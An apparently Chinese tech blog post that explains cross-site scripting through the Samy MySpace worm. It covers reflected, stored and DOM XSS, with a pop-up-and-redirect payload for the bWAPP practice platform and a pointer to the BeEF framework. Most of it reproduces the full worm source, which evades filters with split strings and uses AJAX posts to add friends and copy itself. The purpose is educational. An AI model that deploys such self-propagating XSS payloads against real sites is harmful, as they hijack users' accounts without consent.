背景
几行代码让他增粉 100W 最后入狱,他就是著名 Samy 蠕虫病毒的作者 Samy Kamkar,通过 Samy 蠕虫成功为自己新增 100W 粉丝最后入狱。这也是一个里程碑,世界上第一只 “Web 蠕虫”诞生。那么我们今天要聊的就是如何从技术的角度理解他是如何做到的。
原理
首先我们讲一下他的 Samy 蠕虫的原理。这要从 MySpace.com 开始说起,这是一个社交网站,和 FB,Twitter 等类似,所以也有好友、个人档案等。蠕虫作者写了一个脚本放到了自己的个人档案页面,当个人档案页面被浏览时候,就会自动激活代码,把当前浏览者添加到自己的好友列表,同时把脚本拷贝到浏览者的个人档案页面,这样蠕虫会继续裂变传播下去。
猎奇心理让我们继续深究,是什么技术居然可以这样?这就是注明的 XSS。XSS 全称“Cross Site Scripting”,跨站脚本攻击,其实应该叫做 CSS
对吧?主要是担心和样式表混淆,所以缩写 XSS。
XSS
XSS 是最普遍的 WEB 应用安全漏洞,尤其是微博、博客、社交平台等,攻击者个人公开页面编辑脚本,存入了 XSS 代码,网站没有对 XSS 代码进行很好的检验直接存入数据库最后被渲染到页面上,最后 XSS 代码被自动执行。同时 XSS 也是面试中非常常见的问题,了解里面的原理以后,也是有很大利好的。
XSS 本身分为三种类型
反射型 XSS ,通过用户输入的数据,反射给浏览器对用户进行攻击,比如盗取用户 Cookie,恶意广告引流。如果你有小网站的浏览经历的话,你应该见过进入页面以后直接弹框,提示你中奖了,点击以后跳转到了广告网站。其实里面的道理非常简单,你可以把如下代码放到你的页面里面试试效果。
<script>
alert("恭喜你中奖,点击领取500万奖金");location.href="https://www.mawen.co"
</script>
最简单的方式就是尽量少点击陌生的网站,如果你想自己亲自体验一下漏洞可以安装一下 bwapp
,或者直接使用他的在线版本 http://bwapp.bihuo.cn/,这是一个渗透测试平台,通过右侧的选择可以尝试各种类型的渗透测试。
存储型 XSS,就是上面我们说的 Samy 蠕虫的使用方案,网站在存储内容时候没有充分对 XSS 进行检验,导致 XSS 脚本存入数据库,等到下次访问数据库渲染到页面的时候,XSS 脚本被支持,导致用户被攻击。
为了更好的理解我们可以使用 bwapp
做一个简单的演示,我们进入存储 XSS 测试地址 http://bwapp.bihuo.cn/xss_stored_1.php
,然后输入如下代码,然后点击提交。
<script>
alert("恭喜你中奖,点击领取500万奖金");location.href="https://www.mawen.co"
</script>
这样以后,我们重新刷新页面,每次进来以后都会弹框,点击以后跳转到其他网址了,这就是存储的 XSS
上面的测试是最简单的测试,如果你对这个地方特别有兴趣可以安装一个 BeEF
,这是一个非常渗透框架,是 The Browser Exploitation Framework
的简称,使用了 BeEF
的脚本以后你会发现,一个 JS 的脚本引入可以做的事情太多了。BeEF
源码地址 https://github.com/beefproject/beef/。防御存储型的 XSS 可以使用一些 XSS 脚本检测工具,存入数据库的时候做一些转译即可。
DOM 型 XSS,这种类型其实和反射型 XSS 有很多共同点,它的定义主要是在不存在后端服务器的情况下,直接对 DOM 文档的 hack,所以这里就不做过多的解释。
Samy 源码
MySpace过滤了很多危险的HTML标签,只保留了<a>
标签、<img>
标签、<div>
标签等“安全的标签”。所有的事件比如“onclick”等也被过滤了。但是MySpace却允许用户控制标签的style属性,通过style,还是有办法构造出XSS的。比如:
<div style="background:url('html" title=javascript>javascript:alert(1)')">
其次,MySpace 同时还过滤了html" title=javascript>javascript、onreadystatechange等敏感词,所以 Samy 用了“拆分法”绕过这些限制。最后,Samy通过 AJAX 构造的POST请求,完成了在用户的heros列表里添加自己名字的功能,同时复制蠕虫自身进行传播。下面是全部的蠕虫代码,有兴趣的可以详细看下。
<div id=mycode style="BACKGROUND: url('html" title=javascript>javascript:eval(document.all.mycode.expr)')"
expr="var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){
var C;
try{
var D=document.body.createTextRange();
C=D.htmlText
}catch(e){
}
if(C){
return C
}else{
return eval('document.body.inne'+'rHTML')
}
}
function getData(AU){
M=getFromURL(AU,'friendID');
L=getFromURL(AU,'Mytoken')
}
function getQueryParams(){
var E=document.location.search;
var F=E.substring(1,E.length).split('&');
var AS=new Array();
for(var O=0;O<F.length;O++){
var I=F[O].split('=');
AS[I[0]]=I[1]}return AS
}
var J;
var AS=getQueryParams();
var L=AS['Mytoken'];
var M=AS['friendID'];
if(location.hostname=='profile.myspace.com'){
document.location='http://www.myspace.com'+location.pathname+location.search
}else{
if(!M){
getData(g())
}
main()
}
function getClientFID(){
return findIn(g(),'up_launchIC( '+A,A)
}
function nothing(){}
function paramsToString(AV){
var N=new String();
var O=0;
for(var P in AV){
if(O>0){
N+='&'
}
var Q=escape(AV[P]);
while(Q.indexOf('+')!=-1){
Q=Q.replace('+','%2B')
}
while(Q.indexOf('&')!=-1){
Q=Q.replace('&','%26')
}
N+=P+'='+Q;
O++
}
return N
}
function httpSend(BH,BI,BJ,BK){
if(!J){
return false
}
eval('J.onr'+'eadystatechange=BI');
J.open(BJ,BH,true);
if(BJ=='POST'){
J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length',BK.length)
}
J.send(BK);
return true
}
function findIn(BF,BB,BC){
var R=BF.indexOf(BB)+BB.length;
var S=BF.substring(R,R+1024);
return S.substring(0,S.indexOf(BC))
}
function getHiddenParameter(BF,BG){
return findIn(BF,'name='+B+BG+B+' value='+B,B)
}
function getFromURL(BF,BG){
var T;
if(BG=='Mytoken'){
T=B
}else{
T='&'
}
var U=BG+'=';
var V=BF.indexOf(U)+U.length;
var W=BF.substring(V,V+1024);
var X=W.indexOf(T);
var Y=W.substring(0,X);
return Y
}
function getXMLObj(){
var Z=false;
if(window.XMLHttpRequest){
try{
Z=new XMLHttpRequest()
}catch(e){
Z=false
}
}else if(window.ActiveXObject){
try{
Z=new ActiveXObject('Msxml2.XMLHTTP')
}catch(e){
try{
Z=new ActiveXObject('Microsoft.XMLHTTP')
}catch(e){
Z=false
}
}
}
return Z
}
var AA=g();
var AB=AA.indexOf('m'+'ycode');
var AC=AA.substring(AB,AB+4096);
var AD=AC.indexOf('D'+'IV');
var AE=AC.substring(0,AD);
var AF;
if(AE){
AE=AE.replace('jav'+'a',A+'jav'+'a');
AE=AE.replace('exp'+'r)','exp'+'r)'+A);
AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}
var AG;
function getHome(){
if(J.readyState!=4){
return
}
var AU=J.responseText;
AG=findIn(AU,'P'+'rofileHeroes','</td>');
AG=AG.substring(61,AG.length);
if(AG.indexOf('samy')==-1){
if(AF){
AG+=AF;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';
AS['submit']='Preview';
AS['interest']=AG;
J=getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,
'POST',paramsToString(AS))
}
}
}
function postHero(){
if(J.readyState!=4){
return
}
var AU=J.responseText;
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['interestLabel']='heroes';
AS['submit']='Submit';
AS['interest']=AG;
AS['hash']=getHiddenParameter(AU,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,
'POST',paramsToString(AS))
}
function main(){
var AN=getClientFID();
var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
J=getXMLObj();
httpSend(BH,getHome,'GET');
xmlhttp2=getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&
Mytoken=' +L,processxForm,'GET')
}
function processxForm(){
if(xmlhttp2.readyState!=4){
return
}
var AU=xmlhttp2.responseText;
var AQ=getHiddenParameter(AU,'hashcode');
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['hashcode']=AQ;
AS['friendID']='11851658';
AS['submit']='Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,
'POST',paramsToString(AS))
}
function httpSend2(BH,BI,BJ,BK){
if(!xmlhttp2){
return false
}
eval('xmlhttp2.onr'+'eadystatechange=BI');
xmlhttp2.open(BJ,BH,true);
if(BJ=='POST'){
xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length',BK.length)}
xmlhttp2.send(BK);
return true
}">
</DIV>
▼
往期精彩回顾
▼
让人又爱又恨的 Lombok,到底该不该用
Delombok 是个啥?居然可破 Lombok?
跳槽的必要条件是有一份好的简历
时候为自己的后半生考虑了——致奔三的互联网人
点个赞呗